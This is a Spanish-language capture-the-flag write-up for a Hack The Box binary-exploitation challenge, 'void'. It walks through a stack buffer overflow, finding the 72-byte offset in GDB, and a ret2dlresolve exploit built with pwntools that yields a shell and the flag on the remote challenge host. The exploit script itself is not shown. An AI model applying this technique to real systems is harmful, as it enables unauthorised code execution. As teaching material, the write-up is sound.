Void
3 minutos de lectura
Se nos proporciona un binario de 64 bits llamado void
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Ingeniería inversa
Si usamos Ghidra, encontraremos este código descompilado en C:
void vuln() {
char data[64];
read(0, data, 200);
}
int main() {
vuln();
return 0;
}
El código es muy corto y solo hay un solo punto para ingresar datos.
Vulnerabilidad de Buffer Overflow
Hay una clara vulnerabilidad de Buffer Overflow ya que data
es un vector de char
de 64
bytes, y read
está leyendo hasta 200
bytes y almacena la información en data
. Por lo tanto, podemos modificar los valores que vienen después del buffer reservado para data
y controlar el flujo de ejecución del programa.
ret2dlresolve
Esta vez, no tenemos muchas primitivas en el binario porque hay una sola función externa (read
). Por ejemplo, no tenemos ninguna función para filtrar direcciones de memoria.
Al tener esta situación, hay una técnica llamada ret2dlresolve que puede usarse para explotar el binario. No cubriré todos los detalles de la técnica. La idea básica es engañar al programa para que resuelva una función que no esté vinculada al binario. Por ejemplo, estaremos interesados en llamar a system("/bin/sh")
, por lo que nuestro objetivo es que el binario resuelva system
, aunque no está vinculada.
La implementación es muy simple porque pwntools
tiene una clase llamada Ret2dlresolvePayload
que automatiza todo el proceso de enlazamiento y resolución. De hecho, el exploit final es bastante similar a los ejemplos en la documentación. Se puede encontrar más información sobre la técnica en ir0nstone.gitbook.io o Temple Of Pwn en YouTube.
Desarrollo del exploit
En primer lugar, encontremos el offset para controlar la dirección de retorno y, por lo tanto, explotar la vulnerabilidad de Buffer Overflow. Para eso, podemos usar un patrón dentro de GDB:
$ gdb -q void
Reading symbols from void...
(No debugging symbols found in void)
gef➤ pattern create
[+] Generating a pattern of 1024 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaa
aauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaa
aaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacja
aaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaad
eaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaa
adyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaa
aaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./void
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaa
aauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaa
aaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacja
aaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaad
eaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaa
adyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaa
aaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401142 in vuln ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 72 (little-endian search) likely
[+] Found at offset 65 (big-endian search)
Entonces, necesitamos exactamente 72
caracteres para controlar la dirección de retorno. Ahora es momento de crear el exploit, que se puede encontrar en solve.py
:
$ python3 solve.py
[*] './void'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] Loaded 14 cached gadgets for 'void'
[+] Starting local process './void': pid 99967
[*] Switching to interactive mode
$ ls
flag.txt glibc solve.py void
Funciona localmente.
Flag
Probemos de forma remota:
$ python3 solve.py 161.35.34.21:31393
[*] './void'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] Loaded 14 cached gadgets for 'void'
[+] Opening connection to 161.35.34.21 on port 31393: Done
[*] Switching to interactive mode
$ ls
core
flag.txt
glibc
void
$ cat flag.txt
HTB{pwnt00l5_h0mep4g3_15_u54ful}